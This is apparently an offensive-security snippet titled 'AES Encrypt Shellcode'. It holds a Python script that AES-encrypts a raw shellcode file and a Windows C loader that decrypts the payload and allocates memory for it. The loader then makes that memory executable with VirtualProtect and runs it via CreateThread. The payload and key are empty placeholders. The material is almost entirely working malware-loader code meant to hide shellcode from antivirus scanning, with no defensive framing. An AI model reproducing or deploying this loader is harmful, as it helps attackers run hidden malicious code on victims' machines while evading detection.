AES Encrypt Shellcode

Encrypting Shellcode

# pip3 install pycryptodome
# Change Lib\site-packages\crypto to \Crypto if ModuleNotFound
import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
	return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):

	k = hashlib.sha256(key).digest()
	iv = 16 * '\x00'
	plaintext = pad(plaintext)
	cipher = AES.new(k, AES.MODE_CBC, iv)

	return cipher.encrypt(bytes(plaintext))


try:
    plaintext = open(sys.argv[1], "r").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

Decrypting Shellcode

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
        DWORD oldprotect = 0;

	char key[] = "";
	unsigned char calc_payload[] =""; 
	unsigned int calc_len = sizeof(calc_payload);
	
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Decrypt payload
	AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
	
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}